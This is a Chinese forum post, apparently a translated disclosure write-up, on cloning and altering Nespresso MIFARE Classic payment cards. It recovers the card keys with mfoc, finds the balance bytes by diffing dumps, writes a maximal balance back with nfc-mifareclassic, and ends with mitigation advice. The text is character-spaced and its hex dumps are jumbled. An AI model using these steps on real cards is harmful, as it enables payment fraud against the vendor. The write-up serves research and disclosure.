0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 8 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 7 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 6 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 4 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   1 0 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 9 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 8 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 7 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     7 8     7 7     8 8     6 9     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 6 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 5 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 4 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     6 1     e 7     8 9     c 1     0 0     0 0     0 0     0 0     0 0     0 0
在 继 续 操 作 之 前 ， 我 们 需 要 手 动 导 出 这 些 密 钥 ， 并 添 加 至 一 个 名 为 k e y s . t x t 的 文 件 中 。 这 样 一 来 ， 我 们 就 可 以 将 其 添 加 进 我 们 的 工 具 中 ， 并 跳 过 后 续 转 储 的 破 解 部 分 了 。 二 进 制 比 对 二 进 制 比 对 - 查 找 跟 金 额 有 关 的 字 节 查 找 跟 金 额 有 关 的 字 节 我 们 的 操 作 需 要 假 设 金 额 值 保 存 在 智 能 卡 的 卡 身 之 上 ， 而 不 是 保 存 在 某 个 某 个 集 中 式 服 务 器 上 。 这 是 一 种 更 简 单 、 更 具 成 本 效 益 的 设 计 ， 这 样 只 会 需 要 更 少 的 硬 件 和 软 件 来 实 现 ， 这 使 得 任 何 开 发 这 样 一 个 系 统 的 人 都 可 能 选 择 它 ， 因 为 他 们 不 知 道 M I F A R E   C l a s s i c 的 安 全 漏 洞 。 我 给 我 们 的 卡 充 值 了 1 . 5 欧 元 ， 然 后 使 用 前 面 获 取 到 的 密 钥 将 卡 片 的 二 进 制 数 据 导 出 进 行 分 析 ： 接 下 来 ， 使 用 卡 片 在 设 备 上 购 买 咖 啡 ， 花 掉 1 欧 元 ， 只 剩 0 . 5 欧 ， 然 后 再 次 导 出 数 据 ： 现 在 ， 我 们 就 可 以 对 两 次 导 出 数 据 进 行 对 比 并 查 看 发 生 变 化 的 地 方 了 ： 我 们 可 以 看 到 ， 唯 一 的 区 别 就 是 第 1 2 个 扇 区 中 的 值 正 好 包 含 我 们 在 两 个 转 储 上 预 期 的 值 ： 经 过 进 一 步 的 测 试 和 调 试 ， 我 们 得 出 结 论 ： 该 卡 使 用 3 个 字 节 来 表 示 卡 上 的 总 货 币 值 。 因 此 ， 其 中 一 张 卡 的 最 高 金 额 为 1 6 7 . 7 7 2 , 1 5 欧 元 。 写 入 我 们 自 己 的 金 额 值 写 入 我 们 自 己 的 金 额 值 现 在 剩 下 的 就 是 使 用 十 六 进 制 编 辑 器 来 更 新 转 储 中 的 货 币 值 。 B l o c k   0 3 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     6 1     e 7     8 9     c 1     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 2 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 9     3 8     0 9     3 8     0 9     3 8     0 9     3 8 B l o c k   0 1 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : d 2     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0     0 0 B l o c k   0 0 ,   t y p e   A ,   k e y   a 0 a 1 a 2 a 3 a 4 a 5   : 8 b     2 d     b 7     e 3     f 2     0 8     0 4     0 0     6 2     6 3     6 4     6 5     6 6     6 7     6 8     6 9 $   m f o c   - P   5 0 0   - O   n e s p r e s s o _ 1 5 0 c . d m p   - f   k e y s . t x t $   m f o c   - P   5 0 0   - O   n e s p r e s s o _ 5 0 c . d m p   - f   k e y s . t x t h e x ( 9 6 )   - >   i n t ( 1 5 0 )   - >   € 1 . 5 0 h e x ( 3 2 )   - >   i n t ( 5 0 )   - >   € 0 . 5 0
拿 到 导 出 文 件 n e s p r e s s o _ F F F F F F . d m p 之 后 （ 其 中 包 含 余 额 1 6 7 . 7 7 2 , 1 5 欧 元 ） ， 我 们 尝 试 将 其 写 回 卡 中 。 了 将 值 写 回 到 卡 上 ， 我 们 必 须 使 用 n f c - m f c l a s s i c 工 具 。 这 里 需 要 使 用 到 两 份 导 出 文 件 ， 一 个 包 含 我 们 要 写 入 卡 的 转 储 ， 另 一 个 包 含 以 前 从 该 特 定 卡 获 取 的 转 储 。 第 二 次 转 储 仅 用 于 提 取 密 钥 。 我 们 的 例 子 中 ， 因 为 我 们 正 在 写 回 从 中 获 取 转 储 的 同 一 张 卡 ， 所 以 我 们 可 以 只 使 用 同 一 个 转 储 文 件 两 次 。 需 要 注 意 的 是 ， 如 果 你 想 把 导 出 数 据 写 到 一 张 空 白 卡 中 的 话 ， 你 还 需 要 使 用 之 前 空 白 卡 导 出 数 据 中 的 密 钥 来 确 保 数 据 被 正 确 写 入 。 w   - >   写 入 每 个 扇 区 ， 除 了 扇 区 0 之 外 。 B   - >   使 用 ’ b ’ 密 钥 执 行 操 作 ， 遇 到 错 误 不 停 止 。 n e s p r e s s o _ F F F F F F . d m p   - >   需 要 写 入 卡 片 中 的 数 据 。 n e s p r e s s o _ F F F F F F . d m p   - >   包 含 目 标 卡 的 密 钥 。 注 意 ， 如 果 你 写 入 的 是 一 张 空 白 的 M I F A R E   C l a s s i c 卡 ， 那 么 还 需 要 向 已 被 组 织 的 扇 区 0 写 入 数 据 。 除 此 之 外 ， 你 还 需 要 使 用 空 白 卡 的 密 钥 ： n f c - m f c l a s s i c   w   B   n e s p r e s s o _ F F F F F F . d m p   n e s p r e s s o _ F F F F F F . d m p n f c - m f c l a s s i c   W   B   n e s p r e s s o _ F F F F F F . d m p   b l a n k . d m p
全 部 搞 定 ！ 现 在 我 们 就 可 以 找 一 台 N e s p r e s s o 咖 啡 机 来 测 试 一 下 我 们 的 新 卡 片 了 ！ 大 家 可 以 看 到 ， 我 们 的 新 卡 片 中 已 经 存 储 了 1 6 7 . 7 7 2 , 1 5 欧 ， 不 过 由 于 设 备 上 的 屏 幕 太 小 了 ， 所 以 设 备 上 只 显 示 了 五 位 数 的 金 额 。 缓 解 方 案 缓 解 方 案 考 虑 到 这 个 问 题 是 由 N e s p r e s s o 智 能 卡 所 使 用 的 卡 片 芯 片 硬 件 本 身 问 题 所 导 致 的 ， 因 此 我 们 其 实 并 没 有 太 多 的 选 项 来 解 决 或 缓 解 这 个 问 题 。 不 过 ， 我 在 此 也 提 供 下 列 选 项 来 给 用 户 进 行 一 定 的 努 力 或 尝 试 ： 硬 件 升 级 ： 针 对 未 来 的 产 品 使 用 升 级 版 本 的 智 能 卡 ， 并 使 用 更 加 安 全 的 替 代 产 品 。 软 件 缓 解 措 施 ： 升 级 硬 件 设 备 ， 将 用 户 的 余 额 数 据 存 储 在 后 端 服 务 器 中 ， 而 不 是 直 接 写 入 在 卡 片 身 上 ， 而 卡 片 的 作 用 仅 限 于 标 识 用 户 个 人 身 份 I D 。 在 跟 N e s p r e s s o 公 司 取 得 联 系 之 后 ， 他 们 似 乎 现 在 已 经 在 着 手 进 行 这 两 个 方 案 的 实 施 了 ， 关 心 系 统 安 全 的 客 户 也 应 该 仔 细 研 究 这 些 替 代 方 案 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理